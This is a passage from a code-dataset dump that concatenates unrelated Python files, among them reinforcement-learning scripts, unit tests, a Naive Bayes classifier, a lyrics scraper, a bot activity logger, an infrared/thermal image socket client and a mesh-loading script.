\n\t\tlearning_rate=1e-4)\n\t# help_text = \\\n\t# \"\"\"\n\t# Script used for building approximator\n\t# \"\"\"\n\t# parser = argparse.ArgumentParser(description=help_text)\n\t# parser.add_argument(\"--env\", \"-e\", help=\"environment name\", type=str)\n\t# parser.add_argument(\"--algo\", \"-A\", help=\"reinforcement learning algorithm\", type=str)\n\t# parser.add_argument(\"--iter\", \"-i\", help=\"compress initial state or not\", type=int, default=1000)\n\t# parser.add_argument(\"--max_step\", \"-m\", help=\"max step of environment\", type=int)\n\t# parser.add_argument(\"--approx_step\", \"-a\", help=\"approximate step\", type=int)\n\t# parser.add_argument(\"--compress\", \"-c\", help=\"compress initial state or not\", type=bool, default=False)\n\t# parser.add_argument(\"--vertices\", \"-v\", help=\"sample initial state in vetices or not\", type=bool, default=False)\n\n\t# args = parser.parse_args()\n\n\t# # reward_approx_generator(args.env, args.algo, args.iter, args.approx_step,\\\n\t# # \t\t\t\t\t\targs.max_step, args.compress, args.vertices)\n\t# rnn_approximator_generator(args.env, args.algo, args.iter, args.max_step, args.approx_step)\n\t\n\n# RA_args = [\n# \t# [\"Pendulum-v0\", \"a2c\", 1e3, 200-50, 200], \n# \t# [\"Pendulum-v0\", \"acktr\", 1e3, 200-50, 200],\n# \t# [\"Pendulum-v0\", \"ppo2\", 1e3, 200-50, 200],\n# \t# [\"Pendulum-v0\", \"trpo\", 1e3, 200-50, 200],\n# \t# [\"Pendulum-v0\", \"ddpg\", 1e3, 200-50, 200], \n# \t# [\"Pendulum-v0\", \"sac\", 1e3, 200-50, 200],\n# \t# [\"Pendulum-v0\", \"td3\", 1e3, 200-50, 200],\n\n# \t# [\"CartPole-v1\", \"a2c\", 1e3, 500-100, 500], \n# \t# [\"CartPole-v1\", \"acktr\", 1e3, 500-100, 500], \n# \t# [\"CartPole-v1\", \"ppo2\", 1e3, 500-100, 500],\n# \t# [\"CartPole-v1\", \"trpo\", 1e3, 500-100, 500], \n# \t# [\"CartPole-v1\", \"acer\", 1e3, 500-100, 500], \n# \t# [\"CartPole-v1\", \"dqn\", 1e3, 500-100, 500], \n\n# \t[\"MountainCar-v0\", \"a2c\", 1e3, 200-50, 200], \n# \t[\"MountainCar-v0\", \"acktr\", 1e3, 200-50, 200], \n# \t[\"MountainCar-v0\", \"ppo2\", 1e3, 200-50, 200], \n# \t[\"MountainCar-v0\", \"trpo\", 1e3, 200-50, 200],\n# \t[\"MountainCar-v0\", \"acer\", 1e3, 200-50, 200], \n# \t# [\"MountainCar-v0\", \"dqn\", 1e3, 200-50, 200],\n\n# \t[\"Acrobot-v1\", \"a2c\", 1e3, 500-100, 500], \n# \t[\"Acrobot-v1\", \"acktr\", 1e3, 500-100, 500],\n# \t[\"Acrobot-v1\", \"ppo2\", 1e3, 500-100, 500], \n# \t# [\"Acrobot-v1\", \"trpo\", 1e6, 500, 500], \n# \t[\"Acrobot-v1\", \"acer\", 1e3, 500-100, 500],\n# \t# [\"Acrobot-v1\", \"dqn\", 1e3, 500-100, 500],\n\n# \t[\"MountainCarContinuous-v0\", \"a2c\", 1e3, 999-200, 999], \n# \t[\"MountainCarContinuous-v0\", \"acktr\", 1e3, 999-200, 999], \n# \t[\"MountainCarContinuous-v0\", \"ppo2\", 1e3, 999-200, 999], \t\n# \t[\"MountainCarContinuous-v0\", \"trpo\", 1e3, 999-200, 999], \n# \t[\"MountainCarContinuous-v0\", \"ddpg\", 1e3, 999-200, 999], \n# \t[\"MountainCarContinuous-v0\", \"sac\", 1e3, 999-200, 999], \t\n# \t[\"MountainCarContinuous-v0\", \"td3\", 1e3, 999-200, 999], \n# ]\n\n\n# if __name__ == \"__main__\": \n# \tfor args in RA_args:\n# \t\treward_approx_template(*args)\n","sub_path":"gym/envs/env_approx/scripts__/AG.py","file_name":"AG.py","file_ext":"py","file_size_in_byte":13488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"527374210","text":"import math\nimport sys\nimport re\nimport datetime\n\ndef getDate(commit):\n match = re.search(r'Date: ([0-9 -:]+)',commit)\n return datetime.datetime.strptime(match.group(1), '%Y-%m-%d %H:%M:%S')\n\ndata = sys.stdin.readlines()\ncommits = []\n\nfor i in range(0,math.ceil(len(data)/6)):\n c = data[6*i:6*(i+1)]\n commits.append(\"\".join(c))\n\ncommits.sort(key=getDate)\ncommits.reverse()\n\nfor commit in commits:\n print(commit, end=\"\")","sub_path":"old-exams/git-sort/fix.py","file_name":"fix.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"250639619","text":"'''\nCreated on Sep 15, 2014\n\n@author: pydev\n'''\nimport unittest\nimport os\nimport poets.image.geotiff as gt\nimport numpy as np\nfrom PIL import Image\n\n\ndef curpath():\n pth, _ = os.path.split(os.path.abspath(__file__))\n return pth\n\n\nclass Test(unittest.TestCase):\n\n def setUp(self):\n self.testfile = os.path.join(curpath(), 'data', 'test.tiff')\n self.img = Image.open(self.testfile)\n self.region = 'IT'\n self.fileExtension = '.tiff'\n\n self.lon = 10.5\n self.lat = 40.0\n\n self.lon_min = 6.623967170715332\n self.lon_max = 18.514442443847656\n self.lat_min = 36.64916229248047\n self.lat_max = 47.094581604003906\n\n self.row = 31.922637612099024\n self.col = 21.84052307386542\n\n def tearDown(self):\n pass\n\n def test_lonlat2px_gt(self):\n row, col = gt.lonlat2px_gt(self.img, self.lon, self.lat,\n self.lon_min, self.lat_min,\n self.lon_max, self.lat_max)\n\n assert self.row == row\n assert self.col == col\n\n def test_px2lonlat_gt(self):\n lon_array = np.array([self.col])\n lat_array = np.array([self.row])\n lon, lat = gt.px2lonlat_gt(self.img, lon_array, lat_array,\n self.lon_min, self.lat_min,\n self.lon_max, self.lat_max)\n\n assert self.lat == lat[0]\n assert self.lon == lon[0]\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_geotiff.py","file_name":"test_geotiff.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"530134253","text":"# -*- coding: utf-8 -*-\n\nimport random\nfrom BaikePattern.BertModel.FullConenctionModel import summary_dict\nfrom BaikePattern.Pre.getNegSamples import neglist, negset,posset,poslist\nfrom BaikePattern.BertModel.tag_vector import tag_vec\n\ntitles = ['geo','coronavirus']\n\n# 找到负例\n# 新冠数据负例设置为750,地理数据负例设置为900\nneg = []\npos = []\n# neg = [('病毒', '核糖病毒', 0),('醫療急症', '酸碱紊乱糖尿病', 0)]\nfor item in neglist:\n if item[0] in summary_dict.keys() and item[1] in summary_dict.keys():\n neg.append((item[1], item[0], 0))\nfor item in poslist:\n if item[0] in summary_dict.keys() and item[1] in summary_dict.keys():\n pos.append((item[1], item[0], 1))\n\n\nprint(\"num of pos: \" + str(len(pos)))\nprint(\"num pf neg: \" + str(len(neg)))\n\ntrain = [] # 元素为tag\nfor i in range(len(pos)):\n train.append(pos[i])\nfor i in range(len(neg)):\n train.append(neg[i])\nrandom.shuffle(train)\n\ntrain_vec = []\nfor i in range(len(train)):\n item = train[i]\n tag1 = item[0]\n tag2 = item[1]\n cls = item[2]\n # 得到神经网络模型的向量\n tag1_vec = tag_vec[tag1]\n tag2_vec = tag_vec[tag2]\n newItem = (tag1_vec, tag2_vec, cls)\n train_vec.append(newItem)\n","sub_path":"BertModel/binaryClass_train.py","file_name":"binaryClass_train.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"61851907","text":"import time\n\nfrom core.chat_blob import ChatBlob\nfrom core.decorators import instance, command, event\nfrom core.logger import Logger\nfrom core.public_channel_service import PublicChannelService\nfrom modules.core.org_members.org_member_controller import OrgMemberController\n\n@instance()\nclass OrgActivityController:\n def __init__(self):\n self.logger = Logger(__name__)\n\n def inject(self, registry):\n self.db = registry.get_instance(\"db\")\n self.util = registry.get_instance(\"util\")\n self.character_service = registry.get_instance(\"character_service\")\n self.command_alias_service = registry.get_instance(\"command_alias_service\")\n\n def start(self):\n self.db.exec(\"CREATE TABLE IF NOT EXISTS org_activity (id INT PRIMARY KEY AUTO_INCREMENT, actor_char_id INT NOT NULL, actee_char_id INT NOT NULL, \"\n \"action VARCHAR(20) NOT NULL, created_at INT NOT NULL)\")\n\n self.command_alias_service.add_alias(\"orghistory\", \"orgactivity\")\n\n @command(command=\"orgactivity\", params=[], access_level=\"org_member\",\n description=\"Show org member activity\")\n def orgactivity_cmd(self, request):\n sql = \"\"\"\n SELECT\n p1.name AS actor,\n p2.name AS actee, o.action,\n o.created_at\n FROM\n org_activity o\n LEFT JOIN player p1 ON o.actor_char_id = p1.char_id\n LEFT JOIN player p2 ON o.actee_char_id = p2.char_id\n ORDER BY\n o.created_at DESC\n LIMIT 40\n \"\"\"\n data = self.db.query(sql)\n blob = \"\"\n for row in data:\n blob += self.format_org_action(row) + \"\\n\"\n\n return ChatBlob(\"Org Activity\", blob)\n\n @event(PublicChannelService.ORG_MSG_EVENT, \"Record org member activity\", is_hidden=True)\n def org_msg_event(self, event_type, event_data):\n ext_msg = event_data.extended_message\n if [ext_msg.category_id, ext_msg.instance_id] == OrgMemberController.LEFT_ORG:\n self.save_activity(ext_msg.params[0], ext_msg.params[0], \"left\")\n elif [ext_msg.category_id, ext_msg.instance_id] == OrgMemberController.KICKED_FROM_ORG:\n self.save_activity(ext_msg.params[0], ext_msg.params[1], \"kicked\")\n elif [ext_msg.category_id, ext_msg.instance_id] == OrgMemberController.INVITED_TO_ORG:\n self.save_activity(ext_msg.params[0], ext_msg.params[1], \"invited\")\n elif [ext_msg.category_id, ext_msg.instance_id] == OrgMemberController.KICKED_INACTIVE_FROM_ORG:\n self.save_activity(ext_msg.params[0], ext_msg.params[1], \"removed\")\n elif [ext_msg.category_id, ext_msg.instance_id] == OrgMemberController.KICKED_ALIGNMENT_CHANGED:\n self.save_activity(ext_msg.params[0], ext_msg.params[0], \"alignment changed\")\n\n def save_activity(self, actor, actee, action):\n actor_id = self.character_service.resolve_char_to_id(actor)\n actee_id = self.character_service.resolve_char_to_id(actee) if actee else 0\n\n if not actor_id:\n self.logger.error(\"Could not get char_id for actor '%s'\" % actor)\n\n if not actee_id:\n self.logger.error(\"Could not get char_id for actee '%s'\" % actee)\n\n t = int(time.time())\n self.db.exec(\"INSERT INTO org_activity (actor_char_id, actee_char_id, action, created_at) VALUES (?, ?, ?, ?)\", [actor_id, actee_id, action, t])\n\n def format_org_action(self, row):\n if row.action == \"left\":\n return \"%s %s. %s\" % (row.actor, row.action, self.util.format_datetime(row.created_at))\n else:\n return \"%s %s %s. %s\" % (row.actor, row.action, row.actee, self.util.format_datetime(row.created_at))\n","sub_path":"modules/standard/org/org_activity_controller.py","file_name":"org_activity_controller.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"222559064","text":"import numpy as np\nfrom scipy.optimize import minimize, least_squares, curve_fit\nfrom sklearn import linear_model\nimport random\nfrom matplotlib import pyplot as plt\nfrom lab2.direct_methods import loss, exhaustive_search_multi\n\nlinear = lambda x, a, b: a * x + b\nrational = lambda x, a, b: a / (1 + b * x)\n\neps = 1e-5\nalpha = random.randint(0, 1000) / 1000\nbeta = random.randint(0, 1000) / 1000\ns = list(np.random.normal(size=100))\nX = [_ / 100 for _ in range(100)]\nY = [alpha * k / 100 + beta + s[k] for k in range(100)]\nreg = linear_model.LinearRegression()\n\nfor method, name in zip([linear, rational], ['linear', 'rational']):\n popt, pcov = curve_fit(method, X, Y)\n popt_exh = exhaustive_search_multi(method, X, Y)\n res = minimize(loss, popt, method='nelder-mead', args=(X, Y, method),options={ 'xatol':eps, 'disp':True})\n print('{}'.format(res.x))\n nelder_a, nelder_b = res.x\n\n Y_nelder = [method(x, res.x[0], res.x[1]) for x in X]\n\n Y_r = [1 / y for y in Y]\n if name is 'rational':\n reg = linear_model.LinearRegression()\n reg.fit(np.array(X).reshape(-1, 1), Y_r)\n a = 1 / reg.intercept_\n popt_gaussf = 1 / reg.intercept_, reg.coef_ / reg.intercept_\n else:\n\n reg.fit(np.array(X).reshape(-1, 1), Y)\n popt_gaussf = reg.coef_, reg.intercept_\n print(\n f'Results:\\n\\t exhastive search: {popt_exh[0]}, {popt_exh[1]}\\n\\t Linear: {popt[0]},{popt[1]}\\n\\t Nelder-Mead: {nelder_a},{nelder_b}\\n\\tGauss: {popt_gaussf[0]},{popt_gaussf[1]}\\n\\t')\n\n fig, ax = plt.subplots()\n\n ax.scatter(X, Y, color='g', label='Generated data')\n ax.plot(X, [method(x, *popt) for x in X], label=name)\n ax.plot(X, [method(x, *popt_exh) for x in X], label='Exhaustive approximation')\n ax.plot(X, [method(x, *popt_gaussf) for x in X], label='Gauss')\n ax.plot(X, Y_nelder, label='Nelder-mead')\n\n ax.figure.set_size_inches(24, 12)\n ax.legend()\n plt.savefig(f'/Users/rokatyy/Desktop/masters/ALGORITHMS/labs_algorithms/lab2/{name}.svg', format='svg')\n","sub_path":"lab2/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"237252786","text":"import urllib.parse\nimport urllib.request\nimport json\nimport socket\nimport requests\n\nfrom bs4 import BeautifulSoup\n\n\ndef get_lyrics(song_url):\n page = requests.get(song_url)\n html = BeautifulSoup(page.text, 'html.parser')\n # remove script tags that they put in the middle of the lyrics\n [h.extract() for h in html('script')]\n # at least Genius is nice and has a tag called 'lyrics'!\n lyrics = html.find('lyrics').get_text()\n return lyrics\n\n\ndef search(search_term, client_access_token='0BMySNDi4mkoYFno6cXI0hGdUB_m-wMR0ZYkGn-Blnp_WEYLrbyJE7vRTcLQrs7f'):\n output = []\n querystring = 'http://api.genius.com/search?q=' + urllib.parse.quote(search_term) + '&page=1'\n request = urllib.request.Request(querystring)\n request.add_header('Authorization', 'Bearer ' + client_access_token)\n request.add_header('User-Agent',\n 'curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)')\n while True:\n try:\n response = urllib.request.urlopen(request,\n timeout=4) # timeout set to 4 seconds; automatically retries if times out\n raw = response.read().decode()\n except socket.timeout:\n print('Timeout raised and caught')\n continue\n break\n json_obj = json.loads(raw)\n body = json_obj['response']['hits']\n\n num_hits = len(body)\n if num_hits == 0:\n return 'No results for: ' + search_term\n elif num_hits == 1:\n result = body[0]\n return {\n 'result_id': result['result']['id'],\n 'title': result['result']['title'],\n 'url': result['result']['url'],\n 'path': result['result']['path'],\n 'thumbnail': result['result']['song_art_image_thumbnail_url'],\n 'header_image_url': result['result']['header_image_url'],\n 'annotation_count': result['result']['annotation_count'],\n 'pyongs_count': result['result']['pyongs_count'],\n 'primaryartist_id': result['result']['primary_artist']['id'],\n 'primaryartist_name': result['result']['primary_artist']['name'],\n 'primaryartist_url': result['result']['primary_artist']['url'],\n 'primaryartist_imageurl': result['result']['primary_artist']['image_url'],\n 'lyrics': get_lyrics(result['result']['url'])\n }\n for result in body:\n _output = {\n 'result_id': result['result']['id'],\n 'title': result['result']['title'],\n 'url': result['result']['url'],\n 'path': result['result']['path'],\n 'thumbnail': result['result']['song_art_image_thumbnail_url'],\n 'header_image_url': result['result']['header_image_url'],\n 'annotation_count': result['result']['annotation_count'],\n 'pyongs_count': result['result']['pyongs_count'],\n 'primaryartist_id': result['result']['primary_artist']['id'],\n 'primaryartist_name': result['result']['primary_artist']['name'],\n 'primaryartist_url': result['result']['primary_artist']['url'],\n 'primaryartist_imageurl': result['result']['primary_artist']['image_url'],\n }\n output.append(_output)\n\n return output\n","sub_path":"utils/lyrics_search.py","file_name":"lyrics_search.py","file_ext":"py","file_size_in_byte":3278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"122749935","text":"from flask import url_for\nfrom flask_testing import TestCase\nfrom service_2.app import weapon\nfrom service_4.app import app, effects, swords, axes, daggers, crossbows, bows, staves\n\nclass TestBase(TestCase):\n def create_app(self):\n return app\n\nclass TestResponse(TestBase):\n\n def test_get_weapon(self):\n\n for i in weapon:\n for j in range(60):\n\n content = {'weapon':i, 'damage':j}\n response = self.client.post(url_for('post_status'), json=content)\n\n self.assert200(response)\n\n if j <= 10:\n self.assertIn(\"Beginner\", response.data.decode())\n elif j <= 20:\n self.assertIn(\"Adept\", response.data.decode())\n elif j <= 30:\n self.assertIn(\"Journeyman\", response.data.decode())\n elif j <= 40:\n self.assertIn(\"Master\", response.data.decode())\n elif j <= 50:\n self.assertIn(\"Hero\", response.data.decode())\n else:\n self.assertIn(\"Legend\", response.data.decode())","sub_path":"service_4/tests/test_unit_4.py","file_name":"test_unit_4.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"371077376","text":"import os\nimport time\n\nDATETIME = time.strftime(\"%m%d%y%H%M%S\", time.localtime(time.time()))\nTIME = time.strftime(\"%H:%M:%S\", time.localtime(time.time()))\n\nORIGINAL_INPUT_TRAINING_IMAGES = \"ODIR-5K/ODIR-5K_Training_Images\"\nORIGINAL_INPUT_TESTING_IMAGES = \"ODIR-5K/ODIR-5K_Testing_Images\"\nORIGINAL_INPUT_LABELS_FILE = \"ODIR-5K/ODIR-5K_Training_Annotations(Updated)_V2.csv\"\n\nDATASET_CLASSES = \"dataset/classes\"\nDATASET_CROPPED = \"dataset/cropped\"\nDATASET_CROPPED_ALL = \"dataset/cropped_all\"\nDATASET_CROPPED_5MINS = \"dataset/cropped_5mins\"\nDATASET_AUGMENTED = \"dataset/augmented\"\nDATASET_TEST = \"dataset/test\"\nFEATURES = \"features\"\nRESULTS = \"results\"\nOUTPUT = \"output\"\n\nHISTORY_FILE = \"historyfile.csv\"\nSUMMARY_FILE = \"summary.csv\"","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"14228250","text":"from Classifier import *\nimport numpy as np\nimport math\n\n\"\"\"\nYour NBClassifier dude...\n\"\"\"\nclass NaiveBayesClassifier(Classifier):\n\n\tdef learn(self, X, y):\n\n\t\t\"\"\"\n\t\tYou should set up your various counts to be used in classification here: as detailed in the handout.\n\t\tArgs: \n\t\t\tX: A list of feature arrays where each feature array corresponds to feature values\n\t\t\t\tof one observation in the training set.\n\t\t\ty: A list of ints where 1s correspond to a positive instance of the class and 0s correspond\n\t\t\t\tto a negative instance of the class at said 0 or 1s index in featuresList.\n\n\t\tReturns: Nothing\n\t\t\"\"\"\n\n\t\t # YOU IMPLEMENT -- CORRECTLY GET THE COUNTS\n\t\tself.occurencesOfClass = 0\n\n\t\tself.occurencesOfNotClass = 0\n\n\t\tself.totalFeatureCountsForClass = np.zeros(len(X[0]), np.int32)\n\t\tself.totalFeatureCountsForNotClass = np.zeros(len(X[0]), np.int32)\n\n\t\tself.totalOccurencesOfFeatureInClass = 0\n\t\tself.totalOccurencesOfFeatureInNotClass = 0\n\n\n \n\t\tindex = 0\n\t\tleny = len(y)\n\t\tlenx = len(X)\n \n\n\t\tfor feature_arr in X:\n\n\t\t\tif y[index] == 0:\n\t\t\t\tself.occurencesOfNotClass += 1\n\t\t\t\tfor i in range(0, len(feature_arr)):\n\t\t\t\t\tself.totalFeatureCountsForNotClass[i] += feature_arr[i]\n\t\t\t\t\tself.totalOccurencesOfFeatureInNotClass += feature_arr[i]\n \n\t\t\telse:\n\t\t\t\tself.occurencesOfClass += 1\n\t\t\t\tfor i in range(0, len(feature_arr)):\n\t\t\t\t\tself.totalFeatureCountsForClass[i] += feature_arr[i]\n\t\t\t\t\tself.totalOccurencesOfFeatureInClass += feature_arr[i]\n\n\t\t\tindex += 1\n\t\t\t\n\n\t\tself.totalFeatureObservations = self.totalOccurencesOfFeatureInClass + self.totalOccurencesOfFeatureInNotClass\n\n#current error: getLogProbClassAndLogProbNotClass logProbClass += math.log(p_y) ValueError: math domain error\n\n\tdef getLogProbClassAndLogProbNotClass(self, x):\n\t\t\"\"\"\n\t\tYou should calculate the log probability of the class/ of not the class using the counts determined\n\t\tin learn as detailed in the handout. Don't forget to use epsilon to smooth when a feature in the \n\t\tobservation only occurs in only the class or only not the class in the training set! \n\n\t\tArgs: \n\t\t\tx: a numpy array corresponding to a featurization of a single observation \n\t\t\t\n\t\tReturns: A tuple of (the log probability that the features arg corresponds to a positive \n\t\t\tinstance of the class, and the log probability that the features arg does not correspond\n\t\t\tto a positive instance of the class).\n\t\t\"\"\"\t\t\n\t\t# YOU IMPLEMENT -- CORRECTLY GET THE COUNTS\n\t\tepsilon = 1/ float(self.totalFeatureObservations)\n\t\tlogProbClass = 0\n\t\tlogProbNotClass = 0\n\t\tp_y = self.occurencesOfClass/float(self.occurencesOfClass + self.occurencesOfNotClass)\n\t\tlogProbClass += math.log(p_y)\n\t\tlogProbNotClass += math.log(1-p_y)\n\n\t\tindex = 0\n\t\tfor x_i in x:\n\t\t\tnum_features_in_class = self.totalFeatureCountsForClass[index]\n\n\t\t\t#p(x_i | y) = #occurrences of feature x_i in class y/ total # occurs of features in class y\n\t\t\tp_x_given_y = float(num_features_in_class) / self.totalOccurencesOfFeatureInClass\n\t\t\t#add the log prob of p_x_given_y raised to the power of the num times it is this feature x\n\t\t\tif num_features_in_class == 0:\n\t\t\t\tlogProbClass += math.log(epsilon)*x_i\n\t\t\telse:\n\t\t\t\tlogProbClass += math.log(p_x_given_y)*x_i\n\t\t\t#do the same thing for not\n\t\t\tnum_features_in_not_class = self.totalFeatureCountsForNotClass[index]\n\t\t\tp_x_given_not_y = float(num_features_in_not_class) / self.totalOccurencesOfFeatureInNotClass\n\n\t\t\tif num_features_in_not_class == 0:\n\t\t\t\tlogProbNotClass += math.log(epsilon)*x_i\n\t\t\telse:\n\t\t\t\tlogProbNotClass += math.log(p_x_given_not_y)*x_i\n \n\t\t\tindex += 1 \n\n\n\t\treturn (logProbClass, logProbNotClass)\n\n\n\n\n\n\n\n","sub_path":"NaiveBayesClassifier.py","file_name":"NaiveBayesClassifier.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"230552449","text":"import sys\nimport time\nimport socket\nimport numpy as np\nimport struct\nimport cv2\nimport select\n\nHOST = '192.168.68.196'\nPORT = 8888\n\ndef img_processing(ir_img,flir_val):\n\tflag = False\n\ttmp = ir_img.copy()\n\tif(np.sum((flir_val > th_100)) >= (flir_val.size / 3)):\n\t\tflag = True\n\tflir_val = cv2.resize(flir_val,(ir_weight,ir_height),interpolation = cv2.INTER_CUBIC)\n\tflir_val = np.dstack([flir_val]*3)\n\t######### combine ir & flir image ################\n\tdst = cv2.warpPerspective(flir_val,matrix,(ir_weight,ir_height))\n\tnp.place(tmp,(dst > th_100),(0,0,255))\n\tnp.place(tmp,((dst > th_70)&(dst <= th_100)),(163,255,197))\n\tadd = cv2.addWeighted(ir_img,0.5,tmp,0.5,0)\n\t######## rotate image 180 #################\n\trotate = cv2.warpAffine(add, M, (ir_weight,ir_height))\n\tif(flag):\n\t\tflag = False\n\t\tcv2.putText(rotate,\"In danger area\", (20,40), cv2.FONT_HERSHEY_SIMPLEX,1, (255,255,255), 3)\n\treturn rotate\n\n\n\npath = 'bot'+sys.argv[1]+'/'\nfp = open(path+'record.txt')\nencode_param = [int(cv2.IMWRITE_JPEG_QUALITY), 90]\nir_height = 480\nir_weight = 640\nimg_combine = np.zeros((ir_height, ir_weight, 3),np.uint8)\nir_img = np.empty((ir_height, ir_weight),np.uint8)\nflir_val = np.zeros((ir_height,ir_weight),np.uint16)\ndata = b''\nmatrix = np.loadtxt('matrix6.txt',delimiter=',')\nM = cv2.getRotationMatrix2D((ir_weight/2,ir_height/2), 180,1)\nread_count = 10\nimg_count = 1\n\n\ntime.sleep(float(fp.readline()))\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((HOST,PORT))\nfor i in range(4):\n\ts.send( (fp.readline()).ljust(16).encode() )\nth_70 = float(fp.readline()[4:].strip())\nth_100 = float(fp.readline()[5:].strip())\ns.send(('TH70'+str(th_70)).ljust(16).encode())\ns.send(('TH100'+str(th_100)).ljust(16).encode())\nprint(th_70,th_100)\nfor line in fp:\n\tprint(read_count)\n\tif(read_count % 2 == 0):\n\t\ttime.sleep(float(line))\n\telse:\n\t\tif 'image' in line:\n\t\t\tir_img = cv2.imread(path+'ir/'+str(img_count)+'.jpg')\n\t\t\t_, imgencode_ir = cv2.imencode('.jpg', ir_img, encode_param)\n\t\t\tdata_ir = np.array(imgencode_ir)\n\t\t\tstringData_ir = data_ir.tostring()\n\t\t\t\n\t\t\tflir_val = np.loadtxt(path+'flir/'+str(img_count)+'.txt')\n\t\t\tflir_val = flir_val.astype(np.uint16)\n\t\t\tflir_val_ravel = flir_val.ravel()\n\t\t\tflir_val_pack = struct.pack(\"I\"*len(flir_val_ravel), *flir_val_ravel)\n\t\t\ts.send((\"IR\"+str(len(stringData_ir))).ljust(16).encode())\n\t\t\ts.send(stringData_ir)\n\t\t\ts.send((\"FLIR\"+str(len(flir_val_pack))).ljust(16).encode())\n\t\t\ts.send(flir_val_pack)\n\t\t\ttry:\n\t\t\t\t####### recv the combine image from server #############\n\t\t\t\tready = select.select([s],[],[],0.01)\n\t\t\t\tif(ready[0]):\n\t\t\t\t\tdata = s.recv(16)\n\t\t\t\t\tsize_data = data[0:16]\n\t\t\t\t\tif(len(data) == len(size_data)):\n\t\t\t\t\t\tdata = b''\n\t\t\t\t\telse:\n\t\t\t\t\t\tdata = data[len(size_data):len(data)]\n\t\t\t\t\tsize = int((size_data.decode()).strip())\n\t\t\t\t\twhile(size > len(data)):\n\t\t\t\t\t\tdata += s.recv(size)\n\t\t\t\t\tdata_img = data[0:size]\n\t\t\t\t\tif(len(data_img) == len(data)):\n\t\t\t\t\t\tdata = b''\n\t\t\t\t\telse:\n\t\t\t\t\t\tdata = data[len(data_img):len(data)]\n\t\t\t\t\tdata_img = np.fromstring(data_img,dtype = 'uint8')\n\t\t\t\t\tdata_img = cv2.imdecode(data_img,1)\n\t\t\t\t\timg_combine = np.reshape(data_img,(ir_height,ir_weight,3))\n\t\t\texcept Exception as e:\n\t\t\t\timg_combine = img_processing(ir_img,flir_val)\n\t\t\t\tdata = b''\t\n\t\t\timg_count += 1\n\t\telse:\n\t\t\ts.send(line.ljust(16).encode())\n\t\tcv2.imshow('combine',img_combine)\n\t\tcv2.waitKey(1)\n\t\t\n\tread_count += 1\n\tprint(line.strip())\n","sub_path":"read_record.py","file_name":"read_record.py","file_ext":"py","file_size_in_byte":3373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"412323338","text":"import os\n\nimport modmesh\n\ndef display_mesh_data(vmesh):\n for attrib in vmesh.vertattrib:\n usage = modmesh.D3DDECLUSAGE(attrib.usage).name\n offset = int(attrib.offset / vmesh.vertformat)\n vartype = modmesh.D3DDECLTYPE(attrib.vartype).name\n vlen = len(modmesh.D3DDECLTYPE(attrib.vartype))\n\n print('\\n### {} {} ###'.format(usage, vartype))\n for i in range(vmesh.vertnum):\n vstart = offset + i * int(vmesh.vertstride / vmesh.vertformat)\n data = vmesh.vertices[vstart:vstart + vlen]\n\n print('[{}] [{}] {},'.format(i, vstart, tuple(data)))\n\n print('\\n### INDICES ###\\n')\n face_vid = 0\n for id_vertex in vmesh.index:\n face_vid += 1\n\n vstart = id_vertex * int(vmesh.vertstride / vmesh.vertformat)\n vdata = vmesh.vertices[vstart:vstart + 3]\n print('[{}] {},'.format(id_vertex, tuple(vdata)))\n if face_vid == 3:\n face_vid = 0\n print('')\n\ndef display_material_data(vmesh, geom, lod, material):\n print('\\ngeom{}'.format(geom))\n\n print('alphamode = {}'.format(vmesh.geoms[geom].lods[lod].materials[material].alphamode))\n print('fxfile = {}'.format(vmesh.geoms[geom].lods[lod].materials[material].fxfile))\n print('technique = {}'.format(vmesh.geoms[geom].lods[lod].materials[material].technique))\n print('mapnum = {}'.format(vmesh.geoms[geom].lods[lod].materials[material].mapnum))\n for id, map in enumerate(vmesh.geoms[geom].lods[lod].materials[material].maps):\n print('map[{}] = {}'.format(id, map))\n print('vnum = {}'.format(vmesh.geoms[geom].lods[lod].materials[material].vnum))\n print('vstart = {}'.format(vmesh.geoms[geom].lods[lod].materials[material].vstart))\n print('inum = {}'.format(vmesh.geoms[geom].lods[lod].materials[material].inum))\n print('istart = {}'.format(vmesh.geoms[geom].lods[lod].materials[material].istart))\n \n\nvmesh = modmesh.LoadBF2Mesh('tests\\\\samples\\\\kits\\\\Mec\\\\Meshes\\\\mec_kits.skinnedMesh')\n#vmesh = modmesh.LoadBF2Mesh(os.getcwd() + '/generated/generated_box/meshes/generated_box_edit.staticmesh')\n#vmesh = modmesh.LoadBF2Mesh('C:\\Program Files\\Blender Foundation\\Blender\\generated\\generated_box\\meshes\\generated_box.staticmesh')\n#vmesh = modmesh.LoadBF2Mesh(os.getcwd() + '\\\\..\\\\..\\\\..\\\\..\\\\..\\\\objects\\\\vehicles\\\\land\\\\us_tnk_m1a2\\\\Meshes\\\\us_tnk_m1a2.bundledmesh')\n\n#display_mesh_data(vmesh)\ndisplay_material_data(vmesh, 17, 0, 0)\ndisplay_material_data(vmesh, 18, 0, 